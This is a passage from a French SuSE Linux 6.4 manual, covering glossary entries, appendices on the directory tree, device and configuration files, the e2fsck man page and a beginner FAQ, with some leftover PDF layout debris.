interpréteur. Sous Linux, les fichiers qui contiennent de telles instructions sont marqués par le bit x dans le champ de permissions des fichiers. Le noyau le reconnaît et cherche à exécuter ces fichiers. Prompt + Invite. Protocole (angl. protocol) Les protocoles règlent, tant au niveau matériel qu'au niveau logiciel, la communication entre les machines dans un + réseau. Ils déterminent le format des données transmises, définissent dans quels intervalles de temps une machine peut transmettre des données, quelle machine contrôle une connexion etc. Quelques protocoles bien connus sont FTP, UDC, TPC, HTTP et autres. RAM (angl. Random Access Memory) Mémoire physique de capacité limitée qui permet des accès de lecture et d'écriture relativement rapides. Réinitialisation (angl. reset) Lorsque la machine ne répond plus et ne réagit à aucune des commandes de l'utilisateur, elle se trouve très souvent bloquée dans une boucle infinie. La seule solution dans un tel cas consiste à ramener la machine dans un état de départ bien défini. Cette opération s'appelle réinitialisation ou reset. Après une réinitialisation, la machine se trouve dans l'état où elle se trouvait directement après l'allumage. Il est préférable d'effectuer une réinitialisation plutôt que d'éteindre et de rallumer la machine car elle est ainsi beaucoup moins secouée mécaniquement et électriquement. IMPORTANT : Comme il est facile à comprendre, une réinitialisation provoque une perte de toutes les données qui étaient stockées en mémoire avant la réinitialisation ! Répertoire (angl. directory) Les ``répertoires'' constituent la structure hiérarchique d'un + système de * * 523 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ fichiers. Le répertoire contient la liste des noms de fichiers ou de réper- toires. On dit qu'un + fichier x se trouve dans un répertoire y lorsque son nom y est mentionné. Le fait que dans un répertoire il soit fait mention d'autres répertoires permet de structurer le système de fichiers sous forme d'une arborescence. Pour visualiser un autre répertoire, on peut se dépla- cer vers celui-ci. On descend ainsi d'un échelon dans l'arborescence. Les fichiers sont les feuilles de cette arborescence dans lesquelles il n'est plus possible (logiquement) de descendre. Les noms de répertoires sont sou- mis aux mêmes restrictions que ceux des fichiers. Les noms de répertoires spéciaux `.' et `..' désignent soit le répertoire lui-même, soit son pré- décesseur dans la hiérarchie du système de fichiers. Répertoire personnel (angl. home directory) Le répertoire personnel est le point de départ de la plupart des activités d'un utilisateur dans le système. L'utilisateur peut y stocker des données lui appartenant en propre. Il est seul, avec + l'administrateur système, à avoir des accès d'écriture aux fichiers de ce répertoire. L'emplacement du répertoire personnel dans le système de fichiers est déterminé par la + variable d'environnement HOME. Ce répertoire est symbolisé par ` ' (voir paragraphe 19.6 page 486). Répertoire racine (angl. root directory) C'est le répertoire situé au sommet du + système de fichiers. Contraire- ment à tous les autres répertoires du système de fichiers, le répertoire racine n'a pas de répertoire père. Le nom de répertoire `..' se réfère à lui-même. Le répertoire racine est représenté par `/' sous UNIX. Réseau (angl. net, network) Le réseau est un interconnexion de plusieurs machines. Il existe diffé- rentes topologies de réseaux selon le mode de connexion des machines : anneau, étoile, bus, arbre et autres. Quelques standards matériels bien connus sont Ethernet, Token-Ring ou ISDN (en France Numéris, RNIS). Notons parmi les protocoles logiciels (sur différentes couches réseau) TCP, UDP, IPX et autres. Réseau étendu (angl. WAN, wide area network) Contrairement au + réseau local, c'est un réseau de grande envergure qui s'étend sur une vaste surface géographique. Réseau local (angl. LAN, local area network) Un réseau local est un réseau qui s'étend sur un rayon de petite taille et qui est généralement supervisé par un + administrateur système. Les réseaux locaux sont la plupart du temps connectés par des passerelles (angl. gateways) et forment ainsi un + réseau étendu. Rlogin (angl. remote login) Avec un remote login, on peut se connecter par + Internet sur une ma- chine distante comme si l'on se trouvait soi-même sur la + console de cette machine. Lorsqu'un + serveur X fonctionne sur les deux machines il est même possible d'afficher localement les sorties d'une application X en positionnant correctement la variable DISPLAY de l'environnement distant. 524 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ RNIS (angl. ISDN) Acronyme pour ``Réseau Numérique à Intégration de Services''. + ISDN ROM (angl. Read-only Memory) Mémoire morte ne permettant que la lecture seule. Un CD est par exemple une mémoire ROM. Root + Administrateur système RPM (rpm ) À partir de la version 5.0 de SuSE Linux, le RPM (rpm ) (angl. RPM Package Manager) est le gestionnaire standard de paquetages. Avec rpm , il est possible d'installer et de désinstaller des paquetages logiciels et on peut aussi adresser des requêtes à la base des données. Runlevel + Niveau d'exécution Sauvegarde (angl. backup) + Backup Sélection La sélection est l'un des mécanismes du serveur X. Avec la souris, on peut sélectionner des caractères textes sur l'écran graphique (en déplaçant la souris, dont le bouton gauche doit être maintenu enfoncé, sur la zone de texte que l'on veut sélectionner). Cette sélection peut être déplacée vers une autre application (en plaçant le curseur dans la fenêtre de l'application concernée et en cliquant sur le bouton central de la souris). Cette opération s'appelle ``couper/coller'' (angl. Cut & Paste). Serveur Le serveur est le plus souvent une machine très puissante qui fournit des données et des services à d'autres machines (clients) connectées au ré- seau. En dehors des machines faisant office de serveurs, il existe égale- ment des programmes qui fournissent des services. De tels programmes sont aussi appelés serveurs car ils tournent en permanence et sont, de ce fait, tout aussi disponibles que les serveurs matériels. Un exemple pour un serveur logiciel est le + serveur X. Serveur X Les machines sur lesquelles tourne un serveur X peuvent utiliser les services de l'+ interface graphique ou du + système X Window. L'une des tâches principales du serveur X est la gestion de l'affichage. Nor- malement chaque terminal dispose d'une fonction d'affichage dont le nom est contenu dans la + variable d'environnement DISPLAY qui pos- sède le format :. Par exemple terre :0 . Il est essentiel de connaître le nom de l'affichage pour le + Rlogin. Shell + Interpréteur de commandes * * 525 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ SMP (angl. Symmetric Multi Processing) + Multiprocessing. Swap + Mémoire d'échange Système d'exploitation (angl. operating system) Le système d'exploitation est un programme qui tourne continuellement en arrière-plan sur une machine et qui constitue la base qui rend possible tout travail effectué avec la machine. Le système d'exploitation a pour tâche de gérer toutes les ressources disponibles d'une machine. Sous Li- nux, c'est le + noyau ainsi que les éventuels modules du noyau et les pro- grammes de support sans lesquels le noyau est ``inutile'' qui se chargent de ces tâches. Sous SuSE Linux, c'est l'ensemble de la série a (Système de base Linux) avec tous ses outils et ses ``démons'' que l'on peut considérer comme étant le système d'exploitation. AmigaOS , Linux , MacOS , OS/2 UNIX , Windows NT entre autres sont des systèmes d'exploitation bien connus. Système de fichiers (angl. filesystem) Un système de fichiers constitue une méthode de structuration des fi- chiers. Il existe un très grand nombre de systèmes de fichiers dont les performances respectives sont parfois très différentes. Certains systèmes de fichiers sont étroitement liés à des types bien précis de support. Il est difficile de dire : ``Linux utilise le système de fichiers X''. Système X Window Il offre toute une collection de programmes, de protocoles et de rou- tines pour la gestion d'une + interface graphique utilisateur. Le système X Window (X en abrégé) a été développé dans le cadre du projet Athena au MIT (Massachusetts Institute of Technology). Les principaux avan- tages de X par rapport à d'autres systèmes (par exemple MS Windows ou GEM) sont son support réseau et sa flexibilité. Il est ainsi possible à l'utilisateur de faire exécuter des programmes sur d'autres machines mais d'en obtenir l'affichage sur son propre écran et de choisir librement l'aspect et les caractéristiques de l'interface. Remarque : Non, il ne s'ap- pelle pas ``X-Windows'' mais tout simplement et tout bonnement système X Window. Tâche (angl. task) + Processus. Tâche de fond (angl. background process) Si l' + interpréteur de commandes est (apparemment) occupé à une seule tâche et ne permet pas d'autres saisies, on parle d'une tâche exécutée en avant-plan. Mais la plupart des interpréteurs de commandes permettent aussi l'exécution de processus d'arrière-plan ou tâches de fond. Si un processus doit être exécuté en tâche de fond, la ligne de commande qui sert à lancer le programme doit se terminer par le caractère `&'. L'exécution d'un processus en tâche de fond n'est toutefois possible que sur un système d'exploitation + multitâche. 526 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ Tampon On entend par tampon une sorte de mémoire intermédiaire qui permet d'accélérer les accès fréquents aux données qui y sont stockées. Sous Linux il existe plusieurs sortes de mémoires tampons. Task + Processus. Telnet Telnet est le protocole et la commande permettant de communiquer avec d'autres machines. Terminal (angl. terminal) Sur une machine multiutilisateur, c'est une combinaison clavier/écran sans propres ressources de calcul. Sur les stations de travail, ce terme désigne aussi des programmes qui émulent un véritable terminal. UMSDOS Système de fichiers spécial sous Linux qui permet d'accéder aux fichiers de la même manière que sous UNIX (ce qui inclut les noms de fichiers longs et les droits d'accès). Bien que l'accès soit plus lent que pour le système de fichiers EXT2 ``régulier'', le système de fichiers MSDOS est recommandé pour le mode démonstration car il ne nécessite pas de parti- tion particulière. UNIX C'est un système d'exploitation très répandu surtout sur les stations de travail. Unix supportent des concepts importants tels que par exemple le fonctionnement des machines dans un réseau. UNIX est composé d'un noyau, d'un + interpréteur de commandes et d'applications. Depuis les années 90, une version libre et gratuite de UNIX pour + PC est disponible sous la forme de Linux. URL ``Uniform Resource Locator'', sert par exempleà désigner les pages HTML sur WWW. Variable d'environnement (angl. environment variable) C'est un espace dans l'+ environnement de l'+ interpréteur de com- mandes. Chaque variable a un nom, le plus souvent indiqué en majus- cules. Il est assigné aux variables d'environnement des valeurs comme par exemple nom de chemin. Pour l'interpréteur de commandes bash, ceci se fait de cette manière : root@terre:/ > export EDITOR=emacs Avec la commande env , on peut connaître la définition actuelle des va- riables. S'il est nécessaire de connaître la valeur d'une variable, par exemple dans un script, en y fait référence en faisant précéder le nom du caractère `$'. Les variables d'environnement essentielles sont HOME (contient le chemin du répertoire personnel de l'utilisateur), SHELL (che- min du programme de l'interpréteur de commandes), USER (nom de l'uti- lisateur), PATH (chemin d'accès aux programmes exécutables), MANPATH (chemin d'accès aux pages de man contenant l'aide en ligne). * * 527 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ WAN (angl. wide area network) + réseau étendu Wildcards Les deux caractères `*' et ` ?' sont des caractères génériques et sont désignés sous le nom de caractères jokers ou wildcards. Le caractère ` ?' tient la place d'un seul caractère quelconque tandis que `*' peut rem- placer n'importe quel nombre de caractères quelconques mais peut aussi n'en remplacer aucun. Les caractères jokers sont utilisés dans les expres- sions régulières. La commande ls -l image* liste tous les fichiers du répertoire courant dont le nom est image suivi de n'importe quelles lettres (ou d'aucune). 528 Annexe C L'arborescence des répertoires C.1 Aperçu La figure ci-dessous vous montre un petit extrait de l'arborescence des réper- toires sous|Linux| * * | ____________________________________________________________________________________________________________________________* *______________________|||| |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | ||||||||____________________________________________________________________________________________________________________* *______________________ | * * 529 C. L'arborescence_des_répertoires_________________________________________________________________________________________________* *_______________________________________@ C.2 Répertoires importants L'arborescence des répertoires de votre système Linux est structurée de façon fonctionnelle (``système de fichiers standard''). Les répertoires essentiels sont décrits dans le tableau C.1. ________________________________________________________________________________________________________* *________ / Répertoire racine (angl. root directory), point de départ de l'arborescence des répertoires /home Répertoires (personnels) des utilisateurs /dev Fichiers de périphériques (angl. device files) qui représentent les composants matériels /etc Fichiers importants pour la configuration du sys- tème /usr/bin Commandes accessibles /bin Commandes déjà nécessaires au moment de la mise en marche du système /usr/sbin Commandes réservées à l'administrateur sys- tème /sbin Commandes réservées à l'administrateur sys- tème et nécessaires pour la mise en marche du système /sbin/init.d Scripts de démarrage /usr/include Fichiers essentiels pour le compilateur C /usr/include/g++ Fichiers essentiels pour le compilateur C++ /usr/doc Divers fichiers de documentation /usr/man Textes d'aide (pages de manuel) /usr/src Textes sources des logiciels système /usr/src/linux Sources du noyau /tmp Pour fichiers temporaires /var/tmp Pour fichiers temporaires de grande taille /usr Héberge tous les programmes d'application. Montable en lecture seule. Fichiers de configu- ration. /var Fichiers de configuration (par exemple liés de- puis /usr /var/log Fichiers de traces /var/adm Administration système /lib Bibliothèques partagées (pour programmes liés dynamiquement) /proc Système de fichiers de processus /usr/local Extensions locales, indépendantes de la distribu- tion /opt Logiciels optionnels, importants systèmes (par exemple KDE) ________________________________________________________________________________________________________* *________ Tab. C.1: Aperçu des répertoires importants 530 Annexe D Fichiers importants Le fichier le plus important dans votre système est le + noyau lui-même. Il se trouve dans le répertoire /boot sous le nom de fichier vmlinuz. D.1 Fichiers de périphériques dans le répertoire /dev Disquettes et disques durs1 : ______________________________________________________________________________________________________________________ /dev/fd0 premier lecteur de disquettes /dev/fd1 deuxième lecteur de disquettes /dev/hda premier disque dur (E)IDE /dev/hda1 - /dev/hda15 partitions du premier disque dur (E)IDE /dev/sda premier disque dur SCSI /dev/sda1 - /dev/sda15 partitions du premier disque dur SCSI /dev/sdb deuxième disque dur SCSI /dev/sdc troisième disque dur SCSI ______________________________________________________________________________________________________________________ Tab. D.1: Aperçu des fichiers de périphériques de la mémoire de masse D.1.1 Lecteurs de CD-ROM ______________________________________________________________________________________________________________________ /dev/cdrom lien sur le lecteur de CD-ROM utilisé, c'est-à-dire sur l'un des fichiers suivants (créé par YaST ) /dev/aztcd Aztech CDA268-01 CD-ROM /dev/cdu535 Sony CDU-535 CD-ROM /dev/cm206cd Philips CM206 /dev/gscd0 Goldstar R420 CD-ROM /dev/hda ______________________________________________________________________________________________________________________ ___________________Tab._D.2:_Continuer_à_la_page_suivante..._ 1 Vous pouvez, en plus des fichiers de périphériques mentionnés, créer vous-même d'autres fichiers. Vous trouverez des informations à ce sujet dans la page de man concernant mknod . * * 531 D. Fichiers importants____________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ jusqu'à ATAPI CD-ROM /dev/hdd /dev/lmscd Philips CM 205/250/206/260 CD-ROM /dev/mcd Mitsumi CD-ROM /dev/sbpcd0 jusqu'à CD-ROM sur carte Soundblaster /dev/sbpcd3 /dev/scd0 Lecteurs de CD-ROM SCSI /dev/scd1 etc. /dev/sonycd CD-ROM Sony CDU 31a /dev/sjcd CD-ROM Sanyo /dev/optcd CD-ROM Optics Storage _______________________________________________________________________________________________________* *_________ Tab. D.2: Aperçu des fichiers de périphériques des lecteurs de CD-ROM D.1.2 Lecteurs de bandes _______________________________________________________________________________________________________* *_________ /dev/rmt0 1er streamer SCSI ``rewinding'' (rembobinage automa- tique) /dev/nrmt0 1er streamer SCSI ``non rewinding''(sans rembobinage) /dev/ftape Floppy tape ``rewinding'' (rembobinage automatique) /dev/nftape Floppy tape ``non rewinding'' (sans rembobinage) _______________________________________________________________________________________________________* *_________ Tab. D.3: Aperçu des fichiers de périphériques pour lecteurs de bandes D.1.3 Souris (Bus et PS/2) _______________________________________________________________________________________________________* *_________ /dev/mouse Lien pointant sur l'interface utilisée par la sou- ris, c'est-à-dire sur l'un des pseudo-fichiers suivants (pour les souris bus) ou sur une interface série (pour les souris série) (créé par YaST ). /dev/atibm Souris bus de la carte graphique ATI. /dev/logibm Souris bus Logitech. /dev/psaux Souris PS/2. /dev/inportbm Souris bus PS/2. /dev/sunmouse Souris SUN. _______________________________________________________________________________________________________* *_________ Tab. D.4: Aperçu des fichiers de périphériques pour les souris 532 _______________________________________________D.1.__Fichiers_de_périphériques_dans_le_répertoire_/dev______________________* *______________________ D.1.4 Modem ______________________________________________________________________________________________________________________ /dev/modem Lien sur le port COM du modem (créé par YaST ) ______________________________________________________________________________________________________________________ Tab. D.5: Fichier de périphérique pour le modem D.1.5 Interfaces série ______________________________________________________________________________________________________________________ /dev/ttyS0 interfaces série 0 à 3 bis (COM1 bis COM4) ; /dev/ttyS3 jusqu'à ttyS63 etc. /dev/cua0 depuis la version 2.2.x du noyau, /dev/cua3 ces interfaces série sont obsolètes etc. obsolète depuis le noyau 2.2.x ______________________________________________________________________________________________________________________ Tab. D.6: Fichiers de périphériques pour interfaces série D.1.6 Interfaces parallèles ______________________________________________________________________________________________________________________ /dev/lp0 jusqu'à interfaces parallèles (LPT1 à LPT3) /dev/lp2 ______________________________________________________________________________________________________________________ Tab. D.7: Fichiers de périphériques pour imprimantes sur port parallèle * * 533 D. Fichiers importants____________________________________________________________________________________________________________* *_______________________________________@ D.1.7 Périphériques spéciaux _______________________________________________________________________________________________________* *_________ /dev/null ``avale'' autant de données que vous désirez (poubelle) /dev/tty1 jusqu'à consoles virtuelles /dev/tty8 /dev/zero fournit autant d'octets de valeur zéro que vous désirez _______________________________________________________________________________________________________* *_________ Tab. D.8: Fichiers pour périphériques spéciaux/virtuels D.2 Fichiers de configuration dans /etc _______________________________________________________________________________________________________* *_________ /etc/ Informations sur la version SuSE Linux instal- SuSE-release lée. /etc/rc.config Fichier de configuration central du système. Il est créé par YaST et lu par les scripts de démar- rage de SuSEconfig . /etc/rc.config.d Répertoire contenant d'autres fichiers avec des variables rc.config. /etc/inittab Fichier de configuration pour le processus init . /etc/lilo.conf Configuration de LILO /etc/modules.conf Configuration des modules du noyau /etc/DIR_COLORS Détermination des couleurs pour ls /etc/XF86Config Configuration du système X Window /etc/fstab Table des systèmes de fichiers montés automa- tiquement lors de l'initialisation du système /etc/profile Script de connexion des shells (sh , bash , etc.) /etc/csh.login Script de connexion de tcsh /etc/csh.cshrc Paramétrages par défaut pour tcsh /etc/profile.d Répertoire dans lequel se trouvent des exten- sions pour /etc/profile ou /etc/csh. cshrc /etc/passwd Base de données des utilisateurs : Noms d'uti- lisateurs, répertoires personnels (home) shell de connexion, numéro d'identification de l'utilisa- teur /etc/shadow Mots de passe /etc/group Groupes d'utilisateurs /etc/printcap Description des imprimantes disponibles dans le système. Utilisé par le démon lpd ( page 333). _______________________________________________________________________________________________________* *_________ Tab. D.9: Continuer à la page suivante... 534 _________________D.3.__Fichiers_de_configuration_cachés_dans_le_répertoire_personnel_(Home)_________________________________* *______________________ ______________________________________________________________________________________________________________________ /etc/hosts Association des noms de machines aux adresses IP (indispensable en l'absence d'un serveur de noms). /etc/inetd.conf Définition des services IP mis à disposition (tel- net ,finger , ftp etc.). /etc/syslogd.conf Fichier de configuration pour le démon Syslog dont la tâche consiste à signaler certains mes- sages du système. ______________________________________________________________________________________________________________________ Tab. D.9: Fichiers de configuration dans /etc D.3 Fichiers de configuration cachés dans le répertoire per- sonnel (Home) Dans le répertoire personnel de chaque utilisateur, on trouve des fichiers de configuration qui, pour des raisons pratiques, sont ``cachés''. Ils ne sont édités que très rarement. On peut transformer tout fichier en fichier caché en fai- sant précéder son nom d'un point. On peut rendre ces fichiers visibles par la commande ls -a . Quelques exemples se trouvent dans le tableau D.10. ______________________________________________________________________________________________________________________ .profile Script personnel de connexion de l'utilisateur (pour bash) .bashrc Configuration de bash .exrc Configuration de vi, ex .xinitrc Script de démarrage du système X Window .fvwmrc Configuration du gestionnaire de fenêtres fvwm .ctwmrc Configuration du gestionnaire de fenêtres ctwm .openwin-menu Configuration des gestionnaires de fenêtres olvwm et olwm ______________________________________________________________________________________________________________________ Tab. D.10: Fichiers cachés dans le répertoire personnel de l'utilisateur Ces fichiers sont copiés depuis le répertoire /etc/skel lors de la création d'un compte utilisateur. * * 535 D. Fichiers importants____________________________________________________________________________________________________________* *_______________________________________@ 536 Annexe E Page de manuel de e2fsck |||||||| | |||||||| | |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| E2FSCK(8) E2FSCK(8) | |||||||| | |||||||| | |||||||| | |||||||| NAME | |||||||| e2fsck - check a Linux second extended file system | |||||||| | |||||||| | |||||||| SYNOPSIS | |||||||| e2fsck [ -pacnyrdfvstFSV ] [ -b superblock ] [ -B block- | |||||||| size ] [ -l|-L bad_blocks_file ] device | |||||||| | |||||||| | |||||||| DESCRIPTION | |||||||| e2fsck is used to check a Linux second extended file | |||||||| system. | |||||||| | |||||||| | |||||||| device is the special file corresponding to the device | |||||||| (e.g /dev/hdXX). | |||||||| | |||||||| | |||||||| OPTIONS | |||||||| -a This option does the same thing as the -p option. | |||||||| It is provided for backwards compatibility only; it | |||||||| is suggested that people use -p option whenever | |||||||| | |||||||| possible. | |||||||| | |||||||| -b superblock | |||||||| Instead of using the normal superblock, use the | |||||||| | |||||||| alternative superblock specified by superblock. | |||||||| | |||||||| -B blocksize | |||||||| Normally, e2fsck will search for the superblock at | |||||||| | |||||||| various different block sizes in an attempt to find | |||||||| the appropriate block size. This search can be | |||||||| fooled in some cases. This option forces e2fsck to | |||||||| only try locating the superblock at a particular | |||||||| | |||||||| blocksize. If the superblock is not found, e2fsck | |||||||| will terminate with a fatal error. | |||||||| | |||||||| -c This option causes e2fsck to run the badblocks(8) | |||||||| | |||||||| program to find any blocks which are bad on the | |||||||| filesystem, and then marks them as bad by adding | |||||||| them to the bad block inode. | |||||||| | |||||||| | |||||||| -d Print debugging output (useless unless you are | |||||||| debugging e2fsck ). | ||||||||_______________________________________________________________________________________________________________ | ~ Continuer à la page suivante * * 537 | * * | | * * | | * * | E. Page de manuel_de_e2fsck_______________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | * * | || -f Force checking even if the file system seems clean. * * || | * * | | -F Flush the filesystem device's buffer caches before * * | | beginning. Only really useful for doing e2fsck * * | | time trials. * * | | * * | | * * | | -l filename * * | | Add the blocks listed in the file specified by * * | | filename to the list of bad blocks. * * | | * * | | * * | | -L filename * * | | Set the bad blocks list to be the list of blocks * * | | specified by filename. (This option is the same as * * | | * * | | the -l option, except the bad blocks list is * * | | cleared before the blocks listed in the file are * * | | added to the bad blocks list.) * * | | * * | | * * | | -n Open the filesystem read-only, and assume an answer * * | | of ``no'' to all questions. Allows e2fsck to be * * | | used non-interactively. (Note: if the -c, -l, or * * | | * * | | -L options are specified in addition to the -n * * | | option, then the filesystem will be opened read- * * | | write, to permit the bad-blocks list to be updated. * * | | However, no other changes will be made to the * * | | * * | | filesystem.) * * | | * * | | -p Automatically repair ("preen") the file system * * | | without any questions. * * | | * * | | * * | | -r This option does nothing at all; it is provided * * | | only for backwards compatibility. * * | | * * | | * * | | -s This option will byte-swap the filesystem so * * | | that it is using the normalized, standard byte- * * | | order (which is i386 or little endian). If the * * | | filesystem is already in the standard byte-order, * * | | * * | | e2fsck will take no action. * * | | * * | | -S This option will byte-swap the filesystem, regard- * * | | less of its current byte-order. * * | | * * | | * * | | -t Print timing statistics for e2fsck. If this option * * | | is used twice, additional timing statistics are * * | | printed on a pass by pass basis. * * | | * * | | * * | | -v Verbose mode. * * | | * * | | -V Print version information and exit. * * | | * * | | * * | | -y Assume an answer of ``yes'' to all questions; * * | | allows e2fsck to be used non-interactively. * * | | * * | | * * | | EXIT CODE * * | | The exit code returned by e2fsck is the sum of the * * | | following conditions: * * | | * * | | 0 - No errors * * | | 1 - File system errors corrected * * | | 2 - File system errors corrected, system should * * | |_______________________________________________________________________________________________________* *________ | ~ Continuer à la page suivante 538 |||||||| | _______________________________________________________________________________________E.__Page_de_manuel_de_e2fsck________________* *_______________|||| |||||||| | _______________________________________________________________________________________________________________________|| |||||||| be rebooted if file system was mounted | |||||||| | |||||||| 4 - File system errors left uncorrected | |||||||| 8 - Operational error | |||||||| 16 - Usage or syntax error | |||||||| 128 - Shared library error | |||||||| | |||||||| | |||||||| REPORTING BUGS | |||||||| Almost any piece of software will have bugs. If you | |||||||| manage to find a filesystem which causes e2fsck to crash, | |||||||| | |||||||| or which e2fsck is unable to repair, please report it to | |||||||| the author. | |||||||| | |||||||| Please include as much information as possible in your bug | |||||||| | |||||||| report. Ideally, include a complete transcript of the | |||||||| e2fsck run, so I can see exactly what error messages are | |||||||| displayed. If you have a writeable filesystem where the | |||||||| transcript can be stored, the script(1) program is a handy | |||||||| | |||||||| way to save the output of to a file. | |||||||| | |||||||| It is also useful to send the output of dumpe2fs(8). If a | |||||||| | |||||||| specific inode or inodes seems to be giving e2fsck | |||||||| trouble, try running the debugfs(8) command and send the | |||||||| output of the stat command run on the relevant inode(s). | |||||||| If the inode is a directory, the debugfs dump command | |||||||| | |||||||| will allow you to extract the contents of the directory | |||||||| inode, which can sent to me after being first run through | |||||||| uuencode(1). | |||||||| | |||||||| | |||||||| Always include the full version string which e2fsck | |||||||| displays when it is run, so I know which version you are | |||||||| running. | |||||||| | |||||||| | |||||||| AUTHOR | |||||||| This version of e2fsck is written by Theodore Ts'o | |||||||| . | |||||||| | |||||||| | |||||||| SEE ALSO | |||||||| mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8) | |||||||| | |||||||| | |||||||| | |||||||| E2fsprogs version 1.06 October 1996 | ||||||||_______________________________________________________________________________________________________________ | 539 E. Page de manuel_de_e2fsck_______________________________________________________________________________________________________* *_______________________________________@ 540 Annexe F La FAQ de SuSE Linux Nous allons tenter ici d'apporter une réponse aux questions les plus fréquem- ment posées (angl. Frequently Asked Questions). Bien qu'il soit possible de trouver dans le manuel une réponse appropriée à presque toutes les questions, il n'est pas toujours facile ~ surtout pour les utilisateurs encore peu familia- risés avec Linux ~ de deviner vers quel chapitre se diriger. C'est pourquoi nous mentionnons, pour la plupart des réponses, le chapitre correspondant du manuel. J'ai un vieux SuSE Linux ~ comment le mettre à jour vers 6.4 ? La voie la plus directe conduit au chapitre 15 page 403 et pages suivantes du manuel. Quel est le chapitre le plus important du manuel ? Pour les débutants c'est sans aucun doute le chapitre 19 page 481. Il ne remplace cependant un livre sur Linux ! Vous trouverez des livres relatifs à Linux sous http://www.suse.de/de/produkte/buecher/. Après l'installation je reçois toujours le message d'erreur "login :" ~ Quel genre d'erreur ai-je fait ? Vous n'avez fait aucune erreur, l'installation est terminée et vous pouvez vous connecter à votre machine avec votre nom d'utilisateur (angl. username) et votre mot de passe (``login''). Dans un premier temps, le seul utilisateur existant est `root'. Voir à ce sujet le paragraphe 19.1 page 482 ainsi que le paragraphe 3.6.7 page 111. Je me suis connecté mais je ne vois que terre: # ~ Comment puis-je ``entrer'' sous Linux ? Vous êtes dejà sous Linux. Vous voulez probablement lancer l'interface gra- phique. Pour cela, vous devez d'abord la configurer (par exemple avec SaX ), dans le cas où cela n'a pas déjà été fait au cours de l'installation (para- graphe 2.1.14 page 26). Démarrez ensuite le système graphique (système X Window) avec startx . Procédez de la manière décrite au chapitre 8 page 239 et pages suivantes. * * 541 F. La FAQ de SuSE______Linux______________________________________________________________________________________________________* *_______________________________________@ Je suis seul à utiliser ma machine. Pourquoi faut-il toujours faire un login ? Linux est un système multiutilisateur. La spécification du nom d'utilisateur (angl. username) et du mot de passe est nécessaire afin que Linux sache qui travaille sur le système. Vous ne devriez cependant travailler sous le compte `root' que lorsque vous avez des modifications à apporter au système (in- stallation de logiciels, configurations, etc.). Pour les tâches quotidiennes, créez un compte utilisateur sous lequel vous pourrez travailler sans risquer de détruire quoi que ce soit dans votre installation. Dois-je compiler moi-même un noyau ? Non, dans la majeure partie des cas ce n'est pas nécessaire ! Le noyau a maintenant atteint un tel volume qu'il vous faudrait tenir compte d'environ 800 options lors de la configuration ! Comme il est évidemment impossible de maîtriser toutes ces différentes configurations et de prévoir tous les effets qu'elles peuvent entraîner, nous déconseillons très fortement aux utilisateurs encore peu aguerris de recompiler le noyau. Si vous tenez malgré tout à le faire, vous agissez à vos risques et périls ~ et nous n'offrons pas non plus dans un tel cas d'assistance à l'installation ! Mais pour le support du son il me faut quand même construire un noyau personnalisé ? Non, depuis le noyau 2.2.x ce n'est plus nécessaire. Procédez de la manière décrite au paragraphe 10.3 page 296 et pages suivantes. Où puis-je obtenir des infos sur SuSE Linux ? En tout premier lieu dans le manuel s'il s'agit de questions relatives à l'instal- lation ou à certaines particularités de SuSE Linux. Au sujet des programmes, vous trouverez une documentation dans /usr/doc/packages et des instruc- tions dans les ``HowTo'' sous /usr/doc/howto/fr pour les HowTo en fran- çais et sous /usr/doc/howto/en pour les HowTo en anglais. Vous pourrez les lire par exemple avec less /usr/doc/howto/fr/DOS-Win-to-Linux-HOWTO.gz Sous KDE, vous pouvez aussi lire les fichiers à l'aide du gestionnaire de fichiers kfm . Il suffit de cliquer et d'entrer la commande kedit en réponse à la question "ouvrir avec :" Où trouver quelques astuces particulières ou quelques textes d'aide ? Tapez dans un xterm la commande susehelp qui démarre un Netscape. Sur Internet vous trouverez notre base de données support avec les dernières mises à jour sous http://sdb.suse.de/sdb/en/html/index.html. En- trez un mot-clé ou faites votre recherche à l'aide de l'``historique''. 542 ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____* *______________________ Comment puis-je lancer des commandes sous KDE ? Appuyez sur `K' ~ `Outils' ~ `Terminal'. Vous pouvez aussi appuyer sur ||||||||_ ___ Alt |________+ |F___|2et taper ensuite xterm . Vous avez ainsi un ``terminal'' (que l'on appelle très souvent aussi de façon erronée fenêtre DOS) dans lequel vous pouvez entrer les commandes. Je ne trouve pas certains programmes dans KDE. Vous pouvez lancer aussi tous les programmes à partir d'une fenêtre de termi- nal (xterm _,_voir_plus haut) en entrant le nom du programme et en appuyant ensuite sur |_____-|. Je ne parviens pas à me connecter à ma machine avec telnet . J'obtiens toujours la réponse "Login incorrect". Vous essayez probablement de vous connecter en tant que `root'. Pour des raisons de sécurité, ceci n'est pas possible avec telnet . Créez avec YaST un compte utilisateur normal (voir paragraphe 3.6.7 page 111) sous lequel vous pourrez vous connecter. Passez ensuite avec su sous le compte `root'. Il est cependant préférable et surtout plus sûr d'uti- liser le programme ssh en lieu et place de telnet . ssh utilise des connexions encryptées (+ Encryptage) et par conséquent protégées. Vous trouverez ce programme dans la série sec. Comment me connecter à Internet avec Linux ? Vous trouverez des informations à ce sujet dans le manuel au chapitre 5.3 page 171 et pages suivantes. Les virus sont-ils à craindre sous Linux ? Non. Il n'existe pas sous Linux de virus qui soient véritablement à craindre (voir page 469). En outre, les virus ne peuvent pas faire beaucoup de dégâts s'ils n'ont pas été introduits par l'utilisateur `root'. Les seuls scanners de vi- rus qui existent sous Linux servent à rechercher les virus Windows dans le courrier électronique (lorsque Linux fait fonction de routeur). Où puis-je voir les messages du système ? Lancez, en tant que `root', la commande suivante dans une fenêtre de ter- minal : terre: # tail -f /var/log/messages 